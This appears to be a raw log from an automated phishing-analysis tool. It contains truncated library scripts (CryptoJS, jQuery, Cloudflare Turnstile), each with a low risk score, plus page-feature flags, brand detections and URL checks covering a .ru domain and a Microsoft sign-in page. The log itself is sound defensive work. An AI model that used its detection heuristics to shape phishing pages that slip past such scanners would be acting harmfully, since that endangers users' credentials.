XPXVyDd1CauEKBZWocbmbG7aL8Dh2R66ITUwT4aOFHZB.YJDdAAYlENVGrXAZcvMlCGv.LhwSZSaliP8oYgCo6AlYclf25g.n0mS442HZQ4ngnhke9C3aHuiFn7RfWt5ZMPxuzxaQwCwPHYLR40Ow04_QzpNLyz4t1fG3NVOP1urCXi17Bo4ESinzfvSpNoEiU4XPQUEjZW61Zs7q781szfo3H9TzLH7bg8WsyZBNpHWobMK70rZtkh3NPy696wFSRubaNu4iXu0uPEd4xaqy87yoXTjzkhpoF7r4K3XM2PVkXeHlF5fDocNlO59oB4B8POFufIbFYuXLDOVMQBwtl5QNhQNxj_y3HDr6ZuJx.369kRuT80zBZIzBsAFRxRkdnoQWlEBKh_FAKTd9RVXKlXYyDZK8vWyTtt77hi.abKvY5MW4fMfueAbJOgCjja0W1zsUMvB__WeLApHs59.XtxC2BfO4g_uygverKrESelBE6W1MqjuMqmeVl2SpC_IXGqpHMP.O9QbgJJQTrmDrAyTGTGM_QUwD.aE3kVPki4542PdPg7CiFfj0ezmnmQUTVPjHBKzpTmgvNoPXfDoD0',
                cITimeS: '1736874444',
                refresh: function(){
                    if(window['parent']){
                        window['parent'].postMessage({
                            source: 'cloudflare-challenge',
                            widgetId: 'kuz8w',
                            nextRcV: 'sdpvwhFaeRL1KGXf979ThhKr57fOb4vmSPjzFUrrZPs-1736874444-1.3.1.1-y3kf.xXsbEGH9Rg.p4q4Sc6RqNuP5JC7XXiJt6DGWdI',
                            event: 'reloadRequest',
                        }, "*");
                    }
                }
            };
            var handler = function(event) {
                var e = event.data;
                if (e.source && e.source === 'cloudflare-challenge' && e.event === 'meow' && e.widgetId === window._cf_chl_opt.chlApiWidgetId) {
                    if(window['parent']){
                        window['parent'].postMessage({
                            source: 'cloudflare-challenge',
                            widgetId: window._cf_chl_opt.chlApiWidgetId,
                            event: 'food',
                            seq: e.seq,
                        }, '*');
                    }
                }
            }
            window.addEventListener('message', handler);
        }());
    

{
    "risk_score": 3,
    "reasoning": "The provided JavaScript snippet appears to be a part of the CryptoJS library, which is a well-known and widely used cryptography library. It does not contain any high-risk indicators such as dynamic code execution, data exfiltration, or redirects to malicious domains. The code primarily focuses on cryptographic operations and utility functions, which are common in legitimate applications. While it uses some legacy practices like the `XDomainRequest` API, these pose only minor risks and are not inherently malicious. Overall, the script seems to be a benign implementation of common cryptographic functionality."
}

!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var h,t,e,r,i,n,f,o,s,c,a,l,d,m,x,b,H,z,A,u,p,_,v,y,g,B,w,k,S,C,D,E,R,M,F,P,W,O,I,U,K,X,L,j,N,T,q,Z,V,G,J,$,Q,Y,tt,et,rt,it,nt,ot,st,ct,at,ht,lt,ft,dt,ut,pt,_t,vt,yt,gt,Bt,wt,kt,St,bt=bt||function(l){var t;if("undefined"!=typeof window&&window.crypto&&(t=window.crypto),!t&&"undefined"!=typeof window&&window.msCrypto&&(t=window.msCrypto),!t&&"undefined"!=typeof global&&global.crypto&&(t=global.crypto),!t&&"function"==typeof require)try{t=require("crypto")}catch(t){}function i(){if(t){if("function"==typeof t.getRandomValues)try{return t.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof t.randomBytes)try{return t.randomBytes(4).readInt32LE()}catch(t){}}throw new Error("Native crypto module could not be used to get secure random number.")}var r=Object.create||function(t){var e;return n.prototype=t,e=new n,n.prototype=null,e};function n(){}var e={},o=e.lib={},s=o.Base={extend:function(t){var e=r(this);return t&&e.mixIn(t),e.hasOwnProperty("init")&&this.init!==e.init||(e.init=function(){e.$super.init.apply(this,arguments)}),(e.init.prototype=e).$super=this,e},create:function(){var t=this.extend();return t.init.apply(t,arguments),t},init:function(){},mixIn:function(t){for(var e in t)t.hasOwnProperty(e)&&(this[e]=t[e]);t.hasOwnProperty("toString")&&(this.toString=t.toString)},clone:function(){return this.init.prototype.extend(this)}},f=o.WordArray=s.extend({init:function(t,e){t=this.words=t||[],this.sigBytes=null!=e?e:4*t.length},toString:function(t){return(t||a).stringify(this)},concat:function(t){var e=this.words,r=t.words,i=this.sigBytes,n=t.sigBytes;if(this.clamp(),i%4)for(var o=0;o<n;o++){var s=r[o>>>2]>>>24-o%4*8&255;e[i+o>>>2]|=s<<24-(i+o)%4*8}else for(o=0;o<n;o+=4)e[i+o>>>2]=r[o>>>2];return this.sigBytes+=n,this},clamp:function(){var t=this.words,e=this.sigBytes;t[e>>>2]&=4294967295<<32-e%4*8,t.length=l.ceil(e/4)},clone:function(){var t=s.clone.call(this);return t.words=this.words.slice(0),t},random:function(t){for(var e=[],r=0;r<t;r+=4)e.push(i());return new f.init(e,t)}}),c=e.enc={},a=c.Hex={stringify:function(t){for(var e=t.words,r=t.sigBytes,i=[],n=0;n<r;n++){var o=e[n>>>2]>>>24-n%4*8&255;i.push((o>>>4).toString(16)),i.push((15&o).toString(16))}return i.join("")},parse:function(t){for(var e=t.length,r=[],i=0;i<e;i+=2)r[i>>>3]|=parseInt(t.substr(i,2),16)<<24-i%8*4;return new f.init(r,e/2)}},h=c.Latin1={stringify:function(t){for(var e=t.words,r=t.sigBytes,i=[],n=0;n<r;n++){var o=e[n>>>2]>>>24-n%4*8&255;i.push(String.fromCharCode(o))}return i.join("")},parse:function(t){for(var e=t.length,r=[],i=0;i<e;i++)r[i>>>2]|=(255&t.charCodeAt(i))<<24-i%4*8;return new f.init(r,e)}},d=c.Utf8={stringify:function(t){try{return decodeURIComponent(escape(h.stringify(t)))}catch(t){throw new Error("Malformed UTF-8 data")}},parse:function(t){return h.parse(unescape(encodeURIComponent(t)))}},u=o.BufferedBlockAlgorithm=s.extend({reset:function(){this._data=new f.init,this._nDataBytes=0},_append:function(t){"string"==typeof t&&(t=d.parse(t)),this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(t){var e,r=this._data,i=r.words,n=r.sigBytes,o=this.blockSize,s=n/(4*o),c=(s=t?l.ceil(s):l.max((0|s)-this._minBufferSize,0))*o,a=l.min(4*c,n);if(c){for(var h=0;h<c;h+=o)this._doProcessBlock(i,h);e=i.splice(0,c),r.sigBytes-=a}return new f.init(e,a)},clone:function(){var t=s.clone.call(this);return t._data=this._data.clone(),t},_minBufferSize:0}),p=(o.Hasher=u.extend({cfg:s.extend(),init:function(t){this.cfg=this.cfg.extend(t),this.reset()},reset:function(){u.reset.call(this),this._doReset()},update:function(t){return this._append(t),this._process(),this},finalize:function(t){return t&&this._append(t),this._doFinalize()},blockSize:16,_createHelper:function(r){return function(t,e){return new r.init(e).finalize(t)}},_createHmacHelper:function(r){return function(t,e){return new p.HMA

{
  "contains_trigger_text": false,
  "trigger_text": "unknown",
  "prominent_button_name": "unknown",
  "text_input_field_labels": "unknown",
  "pdf_icon_visible": false,
  "has_visible_captcha": false,
  "has_urgent_text": false,
  "has_visible_qrcode": false,
  "contains_chinese_text": false,
  "contains_fake_security_alerts": false
}

{
    "typosquatting": false,
    "unusual_query_string": false,
    "suspicious_tld": true,
    "ip_in_url": false,
    "long_subdomain": false,
    "malicious_keywords": false,
    "encoded_characters": false,
    "redirection": false,
    "contains_email_address": false,
    "known_domain": false,
    "brand_spoofing_attempt": false,
    "third_party_hosting": true
}

URL: https://uxgj.lantecomin.ru

{
  "brands": [
    "Cloudflare"
  ]
}

```json
{
    "risk_score": 1,
    "reasoning": "The script does not exhibit any high-risk or moderate-risk behaviors. It primarily consists of utility functions and error handling, with no signs of dynamic code execution, data exfiltration, or interaction with external domains. The code appears to be part of a larger library or framework, possibly for handling asynchronous operations or managing errors."
}

"use strict";(function(){function Wt(e,r,n,o,c,u,g){try{var h=e[u](g),l=h.value}catch(p){n(p);return}h.done?r(l):Promise.resolve(l).then(o,c)}function Ht(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var u=e.apply(r,n);function g(l){Wt(u,o,c,g,h,"next",l)}function h(l){Wt(u,o,c,g,h,"throw",l)}g(void 0)})}}function D(e,r){return r!=null&&typeof Symbol!="undefined"&&r[Symbol.hasInstance]?!!r[Symbol.hasInstance](e):D(e,r)}function Me(e,r,n){return r in e?Object.defineProperty(e,r,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[r]=n,e}function Fe(e){for(var r=1;r<arguments.length;r++){var n=arguments[r]!=null?arguments[r]:{},o=Object.keys(n);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(n).filter(function(c){return Object.getOwnPropertyDescriptor(n,c).enumerable}))),o.forEach(function(c){Me(e,c,n[c])})}return e}function Ar(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);r&&(o=o.filter(function(c){return Object.getOwnPropertyDescriptor(e,c).enumerable})),n.push.apply(n,o)}return n}function nt(e,r){return r=r!=null?r:{},Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(r)):Ar(Object(r)).forEach(function(n){Object.defineProperty(e,n,Object.getOwnPropertyDescriptor(r,n))}),e}function Bt(e){if(Array.isArray(e))return e}function jt(e,r){var n=e==null?null:typeof Symbol!="undefined"&&e[Symbol.iterator]||e["@@iterator"];if(n!=null){var o=[],c=!0,u=!1,g,h;try{for(n=n.call(e);!(c=(g=n.next()).done)&&(o.push(g.value),!(r&&o.length===r));c=!0);}catch(l){u=!0,h=l}finally{try{!c&&n.return!=null&&n.return()}finally{if(u)throw h}}return o}}function qt(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}function at(e,r){(r==null||r>e.length)&&(r=e.length);for(var n=0,o=new Array(r);n<r;n++)o[n]=e[n];return o}function zt(e,r){if(e){if(typeof e=="string")return at(e,r);var n=Object.prototype.toString.call(e).slice(8,-1);if(n==="Object"&&e.constructor&&(n=e.constructor.name),n==="Map"||n==="Set")return Array.from(n);if(n==="Arguments"||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return at(e,r)}}function Ae(e,r){return Bt(e)||jt(e,r)||zt(e,r)||qt()}function F(e){"@swc/helpers - typeof";return e&&typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof e}function Ue(e,r){var n={label:0,sent:function(){if(u[0]&1)throw u[1];return u[1]},trys:[],ops:[]},o,c,u,g;return g={next:h(0),throw:h(1),return:h(2)},typeof Symbol=="function"&&(g[Symbol.iterator]=function(){return this}),g;function h(p){return function(E){return l([p,E])}}function l(p){if(o)throw new TypeError("Generator is already executing.");for(;g&&(g=0,p[0]&&(n=0)),n;)try{if(o=1,c&&(u=p[0]&2?c.return:p[0]?c.throw||((u=c.return)&&u.call(c),0):c.next)&&!(u=u.call(c,p[1])).done)return u;switch(c=0,u&&(p=[p[0]&2,u.value]),p[0]){case 0:case 1:u=p;break;case 4:return n.label++,{value:p[1],done:!1};case 5:n.label++,c=p[1],p=[0];continue;case 7:p=n.ops.pop(),n.trys.pop();continue;default:if(u=n.trys,!(u=u.length>0&&u[u.length-1])&&(p[0]===6||p[0]===2)){n=0;continue}if(p[0]===3&&(!u||p[1]>u[0]&&p[1]<u[3])){n.label=p[1];break}if(p[0]===6&&n.label<u[1]){n.label=u[1],u=p;break}if(u&&n.label<u[2]){n.label=u[2],n.ops.push(p);break}u[2]&&n.ops.pop(),n.trys.pop();continue}p=r.call(e,n)}catch(E){p=[6,E],c=0}finally{o=u=0}if(p[0]&5)throw p[1];return{value:p[0]?p[1]:void 0,done:!0}}}var Gt={code:200500,internalRepr:"iframe_load_err",public:!0,retryable:!1,description:"Turnstile's api.js was loaded, but the iframe under challenges.cloudflare.com could not be loaded. Has the visitor blocked some parts of challenges.cloudflare.com or are they self-hosting api.js?"};var Xt=300020;var De=300030;var Ve=300031;var j;(function(e){e.MANAGED="managed",e.NON_INTERACTIVE="non-interactive",e.INVISIBLE="invisible"})(j||(j={}));var L;(fun

```json
{
    "risk_score": 1,
    "reasoning": "The provided JavaScript snippet is a part of the jQuery library, which is a widely used and reputable open-source library for DOM manipulation and event handling. The code does not exhibit any high-risk or moderate-risk behaviors such as dynamic code execution, data exfiltration, or redirects to suspicious domains. It primarily consists of utility functions and prototype extensions typical of a library. There are no interactions with external domains or obfuscated code present. Therefore, the risk score is low."
}

/*! jQuery v3.6.0 | (c) OpenJS Foundation and other contributors | jquery.org/license */
!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n||E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]||t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}function w(e){return null==e?e+"":"object"==typeof e||"function"==typeof e?n[o.call(e)]||"object":typeof e}var f="3.6.0",S=function(e,t){return new S.fn.init(e,t)};function p(e){var t=!!e&&"length"in e&&e.length,n=w(e);return!m(e)&&!x(e)&&("array"===n||0===t||"number"==typeof t&&0<t&&t-1 in e)}S.fn=S.prototype={jquery:f,constructor:S,length:0,toArray:function(){return s.call(this)},get:function(e){return null==e?s.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=S.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return S.each(this,e)},map:function(n){return this.pushStack(S.map(this,function(e,t){return n.call(e,t,e)}))},slice:function(){return this.pushStack(s.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},even:function(){return this.pushStack(S.grep(this,function(e,t){return(t+1)%2}))},odd:function(){return this.pushStack(S.grep(this,function(e,t){return t%2}))},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(0<=n&&n<t?[this[n]]:[])},end:function(){return this.prevObject||this.constructor()},push:u,sort:t.sort,splice:t.splice},S.extend=S.fn.extend=function(){var e,t,n,r,i,o,a=arguments[0]||{},s=1,u=arguments.length,l=!1;for("boolean"==typeof a&&(l=a,a=arguments[s]||{},s++),"object"==typeof a||m(a)||(a={}),s===u&&(a=this,s--);s<u;s++)if(null!=(e=arguments[s]))for(t in e)r=e[t],"__proto__"!==t&&a!==r&&(l&&r&&(S.isPlainObject(r)||(i=Array.isArray(r)))?(n=a[t],o=i&&!Array.isArray(n)?[]:i||S.isPlainObject(n)?n:{},i=!1,a[t]=S.extend(l,o,r)):void 0!==r&&(a[t]=r));return a},S.extend({expando:"jQuery"+(f+Math.random()).replace(/\D/g,""),isReady:!0,error:function(e){throw new Error(e)},noop:function(){},isPlainObject:function(e){var t,n;return!(!e||"[object Object]"!==o.call(e))&&(!(t=r(e))||"function"==typeof(n=v.call(t,"constructor")&&t.constructor)&&a.call(n)===l)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e,t,n){b(e,{nonce:t&&t.nonce},n)},each:function(e,t){var n,r=0;if(p(e)){for(n=e.length;r<n;r++)if(!1===t.call(e[r],r,e[r]))break}else for(r in e)if(!1===t.call(e[r],r,e[r]))break;return e},makeArray:function(e,t){var n=t||[];return null!=e&&(p(Object(e))?S.merge(n,"string"==typeof e?[e]:e):u.call(n,e)),n},inArray:function(e,t,n){return null==t?-1:i.call(t,e,n)},merge:function(e,t){for(var n=+t.length,r=0,i=e.length;r<n;r++)e[i++]=t[r];return e.length=i,e},grep:function(e,t,n){for(var r=[],i=0,o=e.length,a=!n;i<o;i++)!t(e[i],i)!==a&&r.push(e[i]);return r},map:function(e,t,n){var r,i,o=0,a=[];if(p(e))for(r=e.length;o<r;o++)null!=(i=t(e[o],o,n))&&a.push(i);else for(o in e)null!=(i=t(e[o],o,n))&&a.push(i);return g(a)},guid:1,support:y}),"function"==typeof Symbol&&(S.fn[Symbol.iterator]=t[Symbol.iterator]),S.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(e,t){n["[object "+t+"]"]=t.toLowerCase()});var d=function(n){var e,d,b,o,i,h,f,g,w,u,l,T,C,a,E,v,s,c,y,S="s

{
  "contains_trigger_text": false,
  "trigger_text": "unknown",
  "prominent_button_name": "unknown",
  "text_input_field_labels": "unknown",
  "pdf_icon_visible": false,
  "has_visible_captcha": false,
  "has_urgent_text": false,
  "has_visible_qrcode": false,
  "contains_chinese_text": false,
  "contains_fake_security_alerts": false
}

{
  "brands": [
    "Cloudflare"
  ]
}

{
    "typosquatting": false,
    "unusual_query_string": false,
    "suspicious_tld": false,
    "ip_in_url": false,
    "long_subdomain": false,
    "malicious_keywords": false,
    "encoded_characters": false,
    "redirection": false,
    "contains_email_address": false,
    "known_domain": true,
    "brand_spoofing_attempt": false,
    "third_party_hosting": false
}

URL: https://login.microsoftonline.com

{
  "contains_trigger_text": true,
  "trigger_text": "Sign in",
  "prominent_button_name": "Next",
  "text_input_field_labels": [
    "Email, phone, or Skype"
  ],
  "pdf_icon_visible": false,
  "has_visible_captcha": false,
  "has_urgent_text": false,
  "has_visible_qrcode": false,
  "contains_chinese_text": false,
  "contains_fake_security_alerts": false
}

{
  "brands": [
    "Microsoft"
  ]
}

{
  "contains_trigger_text": false,
  "trigger_text": "unknown",
  "prominent_button_name": "unknown",
  "text_input_field_labels": "unknown",
  "pdf_icon_visible": false,
  "has_visible_captcha": false,
  "has_urgent_text": false,
  "has_visible_qrcode": false,
  "contains_chinese_text": false,
  "contains_fake_security_alerts": false
}

{
  "brands": [
    "Microsoft"
  ]
}